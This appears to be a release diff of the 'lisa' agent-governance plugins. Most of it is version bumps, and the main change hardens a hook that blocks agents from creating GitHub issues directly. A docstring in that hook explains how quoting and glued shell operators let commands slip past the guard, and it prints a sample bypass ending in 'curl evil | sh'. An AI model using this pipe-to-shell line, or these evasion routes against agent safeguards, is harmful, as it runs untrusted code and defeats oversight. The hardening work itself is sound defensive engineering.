@codyswann/lisa 3.29.3 → 3.30.1

package/plugins/lisa-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh

@@ -196,6 +196,45 @@ managed_source() {
       return 0
     fi
   done
+  # A generated path has no template to point at — apply rebuilds it from the
+  # migration rather than copying it — so the source is named for the reader
+  # rather than resolved to a file that does not exist.
+  if generated_path "$rel"; then
+    printf '%s' "generated by lisa apply"
+    return 0
+  fi
+  return 1
+}
+
+# Whether a destination is a path `lisa apply` GENERATES rather than copies.
+#
+# Read out of the installed package, never restated here.
+# `dist/migrations/generated-paths.js` is the single source the vendoring
+# migration also imports, so a new generated tree is covered without editing this
+# hook. A hook carrying its own copy of that list would be a second place to
+# update that nobody updates, which then governs silently — the defect this file
+# already documents for copy-overwrite, one step along.
+#
+# The distinction earns its keep because the two populations fail in OPPOSITE
+# ways, and a guard that gives one answer is wrong for half the files it covers:
+# an edited copy-overwrite file is PRESERVED and silently forks, while a
+# generated file is REBUILT and the edit vanishes on the next install.
+generated_path() {
+  local rel="$1"
+  local module="$package_root/dist/migrations/generated-paths.js"
+  [ -f "$module" ] || return 1
+  local prefixes
+  prefixes="$(grep -oE '"[^"]+"' "$module" 2>/dev/null | tr -d '"')"
+  local prefix
+  for prefix in $prefixes; do
+    case "$prefix" in
+      */*) ;;
+      *) continue ;;
+    esac
+    case "$rel" in
+      "$prefix" | "$prefix"/*) return 0 ;;
+    esac
+  done
   return 1
 }
 
@@ -219,7 +258,15 @@ refuse() {
   local source="$2"
   local rel="$3"
   local consequence
-  if ledger_tracked "$rel"; then
+  if generated_path "$rel"; then
+    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
+template and it is not preserved: the next \`bun install\` rebuilds it and your
+edit is gone, with nothing reporting that it had been.
+
+That is the opposite failure from the copy-overwrite files this guard also
+covers, where an edit SURVIVES and forks silently. Here the edit works locally,
+CI agrees because CI regenerates too, and it disappears on the next install."
+  elif ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/lisa-expo/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-expo",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-expo/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-expo",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Expo and React Native-specific skills, agents, rules, and MCP servers.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-expo-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-expo",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-expo",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-expo",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-harper-fabric",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Harper/Fabric-specific rules for TypeScript component apps",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-harper-fabric",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Harper/Fabric-specific Lisa rules for TypeScript component apps.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-harper-fabric-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-harper-fabric",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Harper/Fabric-specific rules for TypeScript component apps",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-harper-fabric",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Harper/Fabric-specific rules for TypeScript component apps",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-harper-fabric",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Harper/Fabric-specific rules for TypeScript component apps",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-nestjs/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-nestjs",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-nestjs/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-nestjs",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "NestJS-specific skills and migration write-protection hooks.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-nestjs-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-nestjs",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-nestjs",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-nestjs",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-openclaw/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-openclaw",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-openclaw/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-openclaw",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, across Claude and Codex.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-openclaw-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-openclaw",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-openclaw",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-openclaw",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-phaser/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-phaser",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Phaser 4 game-development rules for TypeScript projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-phaser/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-phaser",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Phaser 4 game-development rules for TypeScript projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-phaser-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-phaser",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Phaser 4 game-development rules for TypeScript projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-phaser",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Phaser 4 game-development rules for TypeScript projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-phaser",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Phaser 4 game-development rules for TypeScript projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-rails/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-rails",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-rails/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-rails",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Ruby on Rails-specific skills and hooks for RuboCop and ast-grep scanning on edit.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-rails-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-rails",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-rails",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-rails",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-typescript/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-typescript",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-typescript/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-typescript",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "TypeScript-specific hooks for formatting, linting, and ast-grep scanning on edit.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-typescript-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-typescript",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-typescript",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-typescript",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "Distributable LLM Wiki kernel — ingest, query, lint, and maintain a git-native markdown knowledge base across Claude and Codex.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "3.29.3",
+  "version": "3.30.1",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/src/base/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex